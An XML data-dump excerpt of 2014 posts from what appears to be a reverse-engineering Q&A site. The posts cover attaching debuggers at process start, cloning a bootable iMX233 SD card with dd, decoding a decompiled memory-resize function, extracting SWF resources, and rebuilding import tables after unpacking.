  <row Id="6685" PostTypeId="1" AcceptedAnswerId="6687" CreationDate="2014-11-22T13:20:39.683" Score="4" ViewCount="3572" Body="&lt;p&gt;I want to attach OllyDbg or IDA to a process as soon as it is loaded in memory before a single instruction of it being executed. How do I do This???&#xA;I cant use File-&gt;Open for some reason. I can only attach to it.&lt;/p&gt;&#xA;" OwnerUserId="10034" LastEditorUserId="1413" LastEditDate="2014-11-22T16:16:34.480" LastActivityDate="2014-11-22T16:16:34.480" Title="how to attach to a process as soon as it is loaded in memory" Tags="|ida|ollydbg|debuggers|debugging|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6686" PostTypeId="1" CreationDate="2014-11-22T15:40:12.403" Score="0" ViewCount="711" Body="&lt;p&gt;I'm using a virtual Android device on VirtualBox to chat using &#xA;Kik. Kik doesn't officially support saving conversations, but can I do &#xA;it using my setup? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My thoughts: when I take a snapshot of Andy (my VirtualBox Android &#xA;device), that snapshot should contain my last n Kik conversations in &#xA;some form. Kik doesn't store conversations permanently, but does let &#xA;you scroll back through some number of them (the storage is local on &#xA;your device, not remote on their servers). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried &quot;shared folders&quot;, but I couldn't get this to work, even after &#xA;trying to install &quot;guest additions&quot; (which didn't appear to work &#xA;either: I'm guessing they're only supported on certain platforms). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone looked into doing something like this? Thoughts? &lt;/p&gt;&#xA;" OwnerDisplayName="user10070" LastActivityDate="2014-11-23T17:39:44.760" Title="Saving Kik conversations using VirtualBox Android device" Tags="|android|virtual-machines|" AnswerCount="1" CommentCount="3" ClosedDate="2014-11-25T15:23:32.937" ContentLicense="CC BY-SA 3.0" />
  <row Id="6687" PostTypeId="2" ParentId="6685" CreationDate="2014-11-22T15:51:39.617" Score="7" Body="&lt;p&gt;One way to do is create a new process using &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms682425(v=vs.85).aspx&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;CreateProcess&lt;/code&gt;&lt;/a&gt; with &lt;code&gt;dwCreationFlags&lt;/code&gt; as &lt;code&gt;CREATE_SUSPENDED&lt;/code&gt;. Next attach to the suspended process using your debugger, and resume all threads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some other way would be to edit the PE file and change the bytes at the entrypoint to &lt;code&gt;EB FE&lt;/code&gt;.&#xA;This is an instruction that jumps to itself, i.e. it is an infinite loop. Next start the application normally. Now use a debugger to attach to it. Restore the original bytes at the entrypoint and resume the process.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="1413" LastEditDate="2014-11-22T16:05:50.987" LastActivityDate="2014-11-22T16:05:50.987" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6688" PostTypeId="2" ParentId="6684" CreationDate="2014-11-22T18:08:41.640" Score="0" Body="&lt;p&gt;As @user45891 commented, replace &lt;strong&gt;DLL1_packed&lt;/strong&gt; on disk with &lt;strong&gt;DLL1_unpacked&lt;/strong&gt;, and replace &lt;strong&gt;DLL2_packed&lt;/strong&gt; on disk with &lt;strong&gt;DLL2_unpacked&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(@user45891, feel free to post the same answer as this, and I'll delete my answer so that you can get credit as the &quot;first responder&quot;.)&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-11-22T18:08:41.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6689" PostTypeId="2" ParentId="6679" CreationDate="2014-11-22T20:14:33.183" Score="2" Body="&lt;p&gt;I just got it working. Turns out I didn't need to modify the binary. After extracting the squash-fs file system from the update file, I managed to copy fw_update to the device using tftp. Running that binary (&lt;code&gt;/etc/fw_update upg fw.bin&lt;/code&gt;) instead of the ISP one worked and flashed the stock firmware. The binary needs to be copied to /etc or /var because the rest is read-only.&lt;/p&gt;&#xA;" OwnerUserId="10066" LastActivityDate="2014-11-22T20:14:33.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6691" PostTypeId="2" ParentId="6666" CreationDate="2014-11-23T13:42:55.983" Score="6" Body="&lt;p&gt;After some searching, it seems that the boot process on the iMX233 is fairly non-standard. By default it looks for a &quot;Boot Control Block&quot; (BCB) in the last block of the SD card.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Examining the original SD card, find the last block using &lt;em&gt;fdisk -l&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Disk /dev/mmcblk0: 1996 MB, 1996488704 bytes&#xA;4 heads, 16 sectors/track, 60928 cylinders, total 3899392 sectors&#xA;Units = sectors of 1 * 512 = 512 bytes&#xA;Sector size (logical/physical): 512 bytes / 512 bytes&#xA;I/O size (minimum/optimal): 512 bytes / 512 bytes&#xA;Disk identifier: 0x0f6c2d46&#xA;&#xA;        Device Boot      Start         End      Blocks   Id  System&#xA;/dev/mmcblk0p1            2048       32000       14976+  53  OnTrack DM6 Aux3&#xA;/dev/mmcblk0p2           32001      200000       84000   83  Linux&#xA;/dev/mmcblk0p3          200001      400000      100000   83  Linux&#xA;/dev/mmcblk0p4          400001     3899391     1749695+  83  Linux&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are 3899392 sectors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Examine the last sector of the SD card using &lt;em&gt;dd&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@kali:~# dd if=/dev/mmcblk0 bs=512 count=1 skip=3899391 2&amp;gt; /dev/null | hexdump -C&#xA;00000000  33 22 11 00 01 00 00 00  04 00 00 00 04 00 00 00  |3&quot;..............|&#xA;00000010  04 00 00 00 04 08 00 00  50 00 00 00 50 00 00 00  |........P...P...|&#xA;00000020  50 00 00 00 50 00 00 00  ef be ad de 00 00 00 00  |P...P...........|&#xA;00000030  01 00 00 00 02 00 00 00  03 00 00 00 04 00 00 00  |................|&#xA;00000040  05 00 00 00 06 00 00 00  07 00 00 00 08 00 00 00  |................|&#xA;00000050  09 00 00 00 0d 0a 00 00  00 0b 00 00 00 0c 00 00  |................|&#xA;00000060  00 0d 00 00 00 0e 00 00  00 0f 00 00 00 10 00 00  |................|&#xA;00000070  00 11 00 00 00 12 00 00  00 13 00 00 00 14 00 00  |................|&#xA;00000080  00 15 00 00 00 16 00 00  00 17 00 00 00 18 00 00  |................|&#xA;00000090  00 19 00 00 00 1a 00 00  00 1b 00 00 00 1c 00 00  |................|&#xA;000000a0  00 1d 00 00 00 1e 00 00  00 1f 00 00 00 20 00 00  |............. ..|&#xA;000000b0  00 21 00 00 00 22 00 00  00 23 00 00 00 24 00 00  |.!...&quot;...#...$..|&#xA;000000c0  00 25 00 00 00 26 00 00  00 27 00 00 00 28 00 00  |.%...&amp;amp;...'...(..|&#xA;000000d0  00 29 00 00 00 2a 00 00  00 2b 00 00 00 2c 00 00  |.)...*...+...,..|&#xA;000000e0  00 2d 00 00 00 2e 00 00  00 2f 00 00 00 30 00 00  |.-......./...0..|&#xA;000000f0  00 31 00 00 00 32 00 00  00 33 00 00 00 34 00 00  |.1...2...3...4..|&#xA;00000100  00 35 00 00 00 36 00 00  00 37 00 00 00 38 00 00  |.5...6...7...8..|&#xA;00000110  00 39 00 00 00 3a 00 00  00 3b 00 00 00 3c 00 00  |.9...:...;...&amp;lt;..|&#xA;00000120  00 3d 00 00 00 3e 00 00  00 3f 00 00 00 40 00 00  |.=...&amp;gt;...?...@..|&#xA;00000130  00 41 00 00 00 42 00 00  00 43 00 00 00 44 00 00  |.A...B...C...D..|&#xA;00000140  00 45 00 00 00 46 00 00  00 47 00 00 00 48 00 00  |.E...F...G...H..|&#xA;00000150  00 49 00 00 00 4a 00 00  00 4b 00 00 00 4c 00 00  |.I...J...K...L..|&#xA;00000160  00 4d 00 00 00 4e 00 00  00 4f 00 00 00 50 00 00  |.M...N...O...P..|&#xA;00000170  00 51 00 00 00 52 00 00  00 53 00 00 00 54 00 00  |.Q...R...S...T..|&#xA;00000180  00 55 00 00 00 56 00 00  00 57 00 00 00 58 00 00  |.U...V...W...X..|&#xA;00000190  00 59 00 00 00 5a 00 00  00 5b 00 00 00 5c 00 00  |.Y...Z...[...\..|&#xA;000001a0  00 5d 00 00 00 5e 00 00  00 5f 00 00 00 60 00 00  |.]...^..._...`..|&#xA;000001b0  00 61 00 00 00 62 00 00  00 63 00 00 00 64 00 00  |.a...b...c...d..|&#xA;000001c0  00 65 00 00 00 66 00 00  00 67 00 00 00 68 00 00  |.e...f...g...h..|&#xA;000001d0  00 69 00 00 00 6a 00 00  00 6b 00 00 00 6c 00 00  |.i...j...k...l..|&#xA;000001e0  00 6d 00 00 00 6e 00 00  00 6f 00 00 00 70 00 00  |.m...n...o...p..|&#xA;000001f0  00 71 00 00 00 72 00 00  00 73 00 00 00 74 00 00  |.q...r...s...t..|&#xA;00000200&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The magic number of 0x33221100 is mentioned in some Freescale documentation, though I was expecting to see it with the opposite endianness. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to make a successful clone, choose a SD card of larger capacity to ensure nothing is overwritten (or you can resize partitions).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take an image of the original card:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@kali:~# dd if=/dev/mmcblk0 of=wholeSD.img&#xA;3899392+0 records in&#xA;3899392+0 records out&#xA;1996488704 bytes (2.0 GB) copied, 98.3687 s, 20.3 MB/s&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then take an image of just the last sector for the BCB:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@kali:~# dd if=/dev/mmcblk0 bs=512 count=1 skip=3899391 of=BCB.img&#xA;1+0 records in&#xA;1+0 records out&#xA;512 bytes (512 B) copied, 0.000220203 s, 2.3 MB/s&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Find out how big the new SD card is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Disk /dev/mmcblk0: 2002 MB, 2002780160 bytes&#xA;4 heads, 16 sectors/track, 61120 cylinders, total 3911680 sectors&#xA;Units = sectors of 1 * 512 = 512 bytes&#xA;Sector size (logical/physical): 512 bytes / 512 bytes&#xA;I/O size (minimum/optimal): 512 bytes / 512 bytes&#xA;Disk identifier: 0x0f6c2d46&#xA;&#xA;        Device Boot      Start         End      Blocks   Id  System&#xA;/dev/mmcblk0p1            2048       32000       14976+  53  OnTrack DM6 Aux3&#xA;/dev/mmcblk0p2           32001      200000       84000   83  Linux&#xA;/dev/mmcblk0p3          200001      400000      100000   83  Linux&#xA;/dev/mmcblk0p4          400001     3899391     1749695+  83  Linux&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This one is larger with 3911680 sectors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Move the whole card image onto the new card:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@kali:~# dd if=wholeSD.img of=/dev/mmcblk0&#xA;13899392+0 records in&#xA;3899392+0 records out&#xA;1996488704 bytes (2.0 GB) copied, 1545.45 s, 1.3 MB/s&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then move the BCB image to the last sector of the card:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@kali:~# dd if=BCB.img bs=512 count=1 seek=3911679 of=/dev/mmcblk0&#xA;1+0 records in&#xA;1+0 records out&#xA;512 bytes (512 B) copied, 8.4684e-05 s, 6.0 MB/s&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the use of seek (output side) rather than skip (input side).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is worth double checking that the last block has been written. Several cheap SD cards don't seem to work in the last sectors, possibly because they misreport size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you have a booting card.&lt;/p&gt;&#xA;" OwnerUserId="1388" LastEditorUserId="1388" LastEditDate="2014-11-23T18:32:11.023" LastActivityDate="2014-11-23T18:32:11.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6692" PostTypeId="2" ParentId="6686" CreationDate="2014-11-23T17:39:44.760" Score="1" Body="&lt;p&gt;You would need to &lt;a href=&quot;https://wiki.archlinux.org/index.php/VirtualBox#VDI&quot; rel=&quot;nofollow&quot;&gt;mount the VM's VDI HD image&lt;/a&gt; and then look through the file system for the conversation logs. If you can't easily find the logs in the file system, you'll need to reverse engineer the Kik application to determine where it's storing the conversation logs.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-11-23T17:39:44.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6693" PostTypeId="1" AcceptedAnswerId="6694" CreationDate="2014-11-23T22:28:25.893" Score="1" ViewCount="197" Body="&lt;p&gt;I'm working with a function thats similar to Memory Resize like &lt;code&gt;realloc&lt;/code&gt; / &lt;code&gt;redim&lt;/code&gt; in VB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first 3 lines decompiled look like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;char *__cdecl ExpandMemory(void *lpAddress, signed int StartPos, signed int MaxSize)&#xA;{&#xA;    int NewSize; // edi@3&#xA;&#xA;    if ( StartPos &amp;gt; 0x80000 )&#xA;        MaxSize = 16 * MaxSize;&#xA;    NewSize = MaxSize * (MaxSize + StartPos - 1) / MaxSize;&#xA;    //Lots of stuff goes here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can someone tell me what this line is suppose to do&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;NewSize = MaxSize * (MaxSize + StartPos - 1) / MaxSize;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a very strong feeling its a &lt;code&gt;Math.MIN()&lt;/code&gt; function without &lt;code&gt;?:&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since MIN function is declared like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define MIN(X, Y) (((X) &amp;lt; (Y)) ? (X) : (Y))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't understand how that math could resemble it, could someone explain what it's suppose to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know it doesn't even work properly keeps creating a NewSize which is far greater then the MaxSize, if it could work can someone explain how it could actually work?&#xA;In most spots the MaxSize parameter is usually &lt;code&gt;1&lt;/code&gt; which indicates no limit and uses StartPos only, where MaxSize is used it usually is 65536 or 2048 some binary values. But it doesn't have anything to do with binary what so ever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In ASM the code looks like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:004083BC                 lea     eax, [ecx+eax-1]&#xA;.text:004083C0                 cdq&#xA;.text:004083C1                 idiv    ecx&#xA;.text:004083C3                 mov     edi, eax&#xA;.text:004083C5                 imul    edi, ecx&#xA;.text:004083C8                 mov     ecx, [esp+114h+arg_0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Full decompiled source:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;char *__cdecl ExpandMemory(void *a1, signed int NewSize, signed int MaxSize)&#xA;{&#xA;  signed int HowMuchBiggerr; // ecx@1&#xA;  int NewSizee; // edi@3&#xA;  char *v5; // eax@5&#xA;  char *v6; // esi@8&#xA;  char *result; // eax@13&#xA;  void *v8; // eax@15&#xA;  signed int v9; // esi@18&#xA;  int v10; // edi@18&#xA;  char *v11; // eax@22&#xA;  char *v12; // eax@27&#xA;  char *v13; // ebp@30&#xA;  unsigned int v14; // ecx@35&#xA;  void *Memory; // [sp+10h] [bp-104h]@18&#xA;  char Text[256]; // [sp+14h] [bp-100h]@11&#xA;&#xA;  HowMuchBiggerr = MaxSize;&#xA;  if ( NewSize &amp;gt; (signed int)0x80000u )&#xA;    HowMuchBiggerr = 16 * MaxSize;&#xA;  NewSizee = HowMuchBiggerr * (HowMuchBiggerr + NewSize - 1) / HowMuchBiggerr;&#xA;  if ( a1 )&#xA;  {&#xA;    if ( NewSizee )&#xA;    {&#xA;      v9 = *((_DWORD *)a1 - 1);                 // Okay minus 4 bytes from beginning of pointed data is size? (must be a special structure of some kind)&#xA;      v10 = NewSizee + 4;&#xA;      Memory = (char *)a1 - 4;&#xA;      if ( v10 == v9 )                          // Check if special attribute (Size?) exists and equals the New Size so it can ignore it.&#xA;      {&#xA;        result = (char *)a1;&#xA;      }&#xA;      else&#xA;      {&#xA;        if ( v9 &amp;gt; (signed int)0x80000u || v10 &amp;gt; (signed int)0x80000u )&#xA;        {&#xA;          if ( v10 &amp;lt;= (signed int)0x80000u )&#xA;            v12 = (char *)malloc(v10);&#xA;          else&#xA;            v12 = (char *)VirtualAlloc(0, v10, 0x1000u, 4u);&#xA;          if ( v12 )&#xA;          {&#xA;            *(_DWORD *)v12 = v10;&#xA;            v13 = v12 + 4;&#xA;          }&#xA;          else&#xA;          {&#xA;            v13 = 0;&#xA;          }&#xA;          if ( !v13 )&#xA;          {&#xA;            sprintf(Text, &quot;Out of memory (Alloc:%d)&quot;, v10 - 4);&#xA;            MessageBoxA(0, Text, &quot;Error&quot;, 0x30u);&#xA;            exit(1);&#xA;          }&#xA;          v14 = v9 - 4;&#xA;          if ( v9 - 4 &amp;gt;= v10 - 4 )&#xA;            v14 = v10 - 4;&#xA;          memcpy(v13, a1, v14);&#xA;          if ( *(_DWORD *)Memory &amp;lt;= (signed int)0x80000u )&#xA;          {&#xA;            free(Memory);&#xA;            result = v13;&#xA;          }&#xA;          else&#xA;          {&#xA;            VirtualFree(Memory, 0, 0x8000u);&#xA;            result = v13;&#xA;          }&#xA;        }&#xA;        else&#xA;        {&#xA;          v11 = (char *)realloc((char *)a1 - 4, v10);&#xA;          if ( !v11 )&#xA;          {&#xA;            MessageBoxA(0, &quot;Out of memory (Resize)&quot;, &quot;Error&quot;, 0x30u);&#xA;            exit(1);&#xA;          }&#xA;          *(_DWORD *)v11 = v10;&#xA;          result = v11 + 4;&#xA;        }&#xA;      }&#xA;    }&#xA;    else&#xA;    {&#xA;      v8 = (char *)a1 - 4;&#xA;      if ( *((_DWORD *)a1 - 1) &amp;lt;= (signed int)0x80000u )&#xA;      {&#xA;        free(v8);&#xA;        result = 0;&#xA;      }&#xA;      else&#xA;      {&#xA;        VirtualFree(v8, 0, 0x8000u);&#xA;        result = 0;&#xA;      }&#xA;    }&#xA;  }&#xA;  else&#xA;  {&#xA;    if ( NewSizee + 4 &amp;lt;= (signed int)0x80000u )&#xA;      v5 = (char *)malloc(NewSizee + 4);&#xA;    else&#xA;      v5 = (char *)VirtualAlloc(0, NewSizee + 4, 0x1000u, 4u);&#xA;    if ( v5 )&#xA;    {&#xA;      *(_DWORD *)v5 = NewSizee + 4;&#xA;      v6 = v5 + 4;&#xA;    }&#xA;    else&#xA;    {&#xA;      v6 = 0;&#xA;    }&#xA;    if ( !v6 )&#xA;    {&#xA;      sprintf(Text, &quot;Out of memory (Alloc:%d)&quot;, NewSizee);&#xA;      MessageBoxA(0, Text, &quot;Error&quot;, 0x30u);&#xA;      exit(1);&#xA;    }&#xA;    result = v6;&#xA;  }&#xA;  return result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3510" LastEditorUserId="3510" LastEditDate="2014-11-24T00:49:00.947" LastActivityDate="2014-11-24T00:49:00.947" Title="Could this be a Math.Min function decompiled in C?" Tags="|assembly|decompile|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6694" PostTypeId="2" ParentId="6693" CreationDate="2014-11-23T23:44:54.310" Score="3" Body="&lt;p&gt;Looks like a common pattern for &lt;a href=&quot;https://stackoverflow.com/a/2745086/516037&quot;&gt;ceiling&lt;/a&gt; to me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words &lt;code&gt;NewSize = ceil(StartPos/MaxSize) * MaxSize&lt;/code&gt;, which is rounding it to the nearest multiple of &lt;code&gt;MaxSize&lt;/code&gt; that is larger than &lt;code&gt;StartPos&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="10077" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2014-11-23T23:44:54.310" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6695" PostTypeId="1" AcceptedAnswerId="7975" CreationDate="2014-11-24T01:23:43.427" Score="2" ViewCount="1590" Body="&lt;p&gt;I use this site &lt;a href=&quot;http://www.showmycode.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.showmycode.com/&lt;/a&gt; to decompile the swf below&#xA;&lt;a href=&quot;http://kwcdn.000dn.com/swfs/8b/23440heisesm/bg.swf&quot; rel=&quot;nofollow&quot;&gt;http://kwcdn.000dn.com/swfs/8b/23440heisesm/bg.swf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the code only shows the link for a video but I can not get the image in the background. Where and how is that image is embedded in the swf? How can I retrieve that image?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long story short, I want to search which game is it, from an ads in a Chinese site, but I can not read any Chinese, and the ads is a fake lead to a fake game. So the easiest way is to decompile the swf and use the image in google search hoping for some results. The decomplied code is shown below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function video_replay()&#xA;{&#xA;    my_ns.seek(0);&#xA;}&#xA;var str_url = &quot;http://kwflvcdn.000dn.com/swfs/17/23308hssm/hesm.flv&quot;;&#xA;var my_nc = new netconnection();&#xA;my_nc.connect(null);&#xA;var my_ns = new netstream(my_nc);&#xA;my_ns.setbuffertime(0);&#xA;var my_video;&#xA;my_video.attachvideo(my_ns);&#xA;my_video.smoothing = true;&#xA;my_ns.play(str_url);&#xA;var m_iErrorCount = 0;&#xA;my_ns.onstatus = function (infoObject)&#xA;{&#xA;    if ((infoObject.level == &quot;error&quot;) &amp;amp;&amp;amp; (m_iErrorCount &amp;lt; 2))&#xA;    {&#xA;        m_iErrorCount++;&#xA;        var _local2 = setTimeout(video_replay, 3);&#xA;    }&#xA;    else if (infoObject.code == &quot;NetStream.Play.Stop&quot;)&#xA;    {&#xA;        var _local2 = setTimeout(video_replay, 0);&#xA;    }&#xA;    else if (infoObject.code == &quot;NetStream.Buffer.Flush&quot;)&#xA;    {&#xA;         trace(my_ns.time);&#xA;    }&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10078" LastActivityDate="2015-01-08T01:27:28.903" Title="How to get resource in swf file?" Tags="|decompilation|actionscript|swf|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6698" PostTypeId="1" AcceptedAnswerId="6701" CreationDate="2014-11-24T15:00:49.093" Score="1" ViewCount="619" Body="&lt;p&gt;When manually unpacking a program and ending up at the OEP, then why do we have to rebuild the import table? I understand that when packing, the import table is destroyed for compression/stealth, but if we're already at the OEP, it must mean the program is ready to roll because the unpacking stub has repaired the import table already? Otherwise it would just crash at the first external call.&lt;/p&gt;&#xA;" OwnerUserId="8659" LastEditorUserId="2147" LastEditDate="2016-10-23T20:31:56.070" LastActivityDate="2016-10-23T20:31:56.070" Title="Why isn't the import table ready at OEP?" Tags="|unpacking|iat|import-reconstruction|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6699" PostTypeId="1" AcceptedAnswerId="6702" CreationDate="2014-11-24T15:08:38.040" Score="0" ViewCount="516" Body="&lt;p&gt;When a program is packed the OriginalFirstThunk tends to be discarded. When the loader resolves the imports, then how does it know which functions to look for? For some reason the IAT (FirstThunk) is magically filled with addresses even before system load, not function names. Why is that? It's as if the linker wrote down the DLL name and all the function addresses from the DLL directly into the IAT at compile time. Who's to say the addresses won't change on a DLL update? Or on ASLR?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is there addresses in the IAT in the first place? Isn't it supposed to point to the function names and be changed at runtime? If there already exist &quot;pre-compiled&quot; addresses in the IAT, then why would we even need to go set up the IAT when the executable gets loaded?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Considering this, why do we even need OriginalFirstThunk? If IAT has the function names or the addresses it seems useless to me.&lt;/p&gt;&#xA;" OwnerUserId="8659" LastEditorUserId="2147" LastEditDate="2016-10-23T20:38:51.030" LastActivityDate="2016-10-23T20:38:51.030" Title="Why is IAT filled with static addresses instead of function names?" Tags="|unpacking|iat|import-reconstruction|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6700" PostTypeId="2" ParentId="6698" CreationDate="2014-11-24T15:11:12.707" Score="3" Body="&lt;p&gt;The unpacking stub may just load the imports instead of repairing the import table. If you want to save the executable to be able to run it later, you won't have the unpacking stub in your saved executable, so noone loads the imports for you unless you repair and the import table as well.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-11-24T15:11:12.707" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6701" PostTypeId="2" ParentId="6698" CreationDate="2014-11-24T15:11:50.387" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;if we're already at the OEP, it must mean the program is ready to roll&#xA;  because the unpacking stub has repaired the import table already&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, by the time the OEP is reached, the unpacking stub has populated the Import Address Table; it hasn't repaired the Import Table. You need to reconstruct the Import Table so that when you run the unpacked program, the Windows loader will populate the Import Address Table at runtime (with the correct function addresses at runtime) based on the data in the Import Table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note that there are always exceptions, but this is typically true for most packers.)&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-11-24T15:11:50.387" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6702" PostTypeId="2" ParentId="6699" CreationDate="2014-11-24T15:19:05.193" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;When the loader resolves the imports, then how does it know which&#xA;  functions to look for?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It parses the Import Table. For each entry, it parses the DLL name and associated function names and/or function ordinals.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For some reason the IAT (FirstThunk) is magically filled with&#xA;  addresses even before system load, not function names. Why is that?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's for &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/1080da4y.aspx&quot; rel=&quot;nofollow&quot;&gt;bound imports&lt;/a&gt;. There's a good explanation of bound imports at the bottom of &lt;a href=&quot;http://win32assembly.programminghorizon.com/pe-tut6.html&quot; rel=&quot;nofollow&quot;&gt;Iczelion's Tutorial 6: Import Table&lt;/a&gt; in the Appendix.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Who's to say the addresses won't change on a DLL update? Or on ASLR?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;They &lt;em&gt;will&lt;/em&gt; very likely change, in which case the Windows loader will ignore the bound function addresses and replace those address in the IAT with the dynamically resolved function addresses at runtime.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Why is there addresses in the IAT in the first place? Isn't it&#xA;  supposed to point to the function names and be changed at runtime?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, the Import Table contains the function names; the Import Address Table contains function addresses.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-11-24T15:19:05.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6703" PostTypeId="2" ParentId="6695" CreationDate="2014-11-24T15:58:20.913" Score="2" Body="&lt;p&gt;Although I do not fully understand your questions, you might try SWFtools, a set of utilities that help you deal with all kinds of swf problems&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.swftools.org&quot; rel=&quot;nofollow&quot;&gt;http://www.swftools.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another flash decompiler is:&#xA;&lt;a href=&quot;http://www.free-decompiler.com/flash/&quot; rel=&quot;nofollow&quot;&gt;http://www.free-decompiler.com/flash/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to get the background or still image that is shown before you start the video, just browse the source of that website and search for &quot;.swf&quot;. There should be a link to an image near/in the &quot;flashvars&quot; code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps at least a bit.&lt;/p&gt;&#xA;" OwnerUserId="10083" LastActivityDate="2014-11-24T15:58:20.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
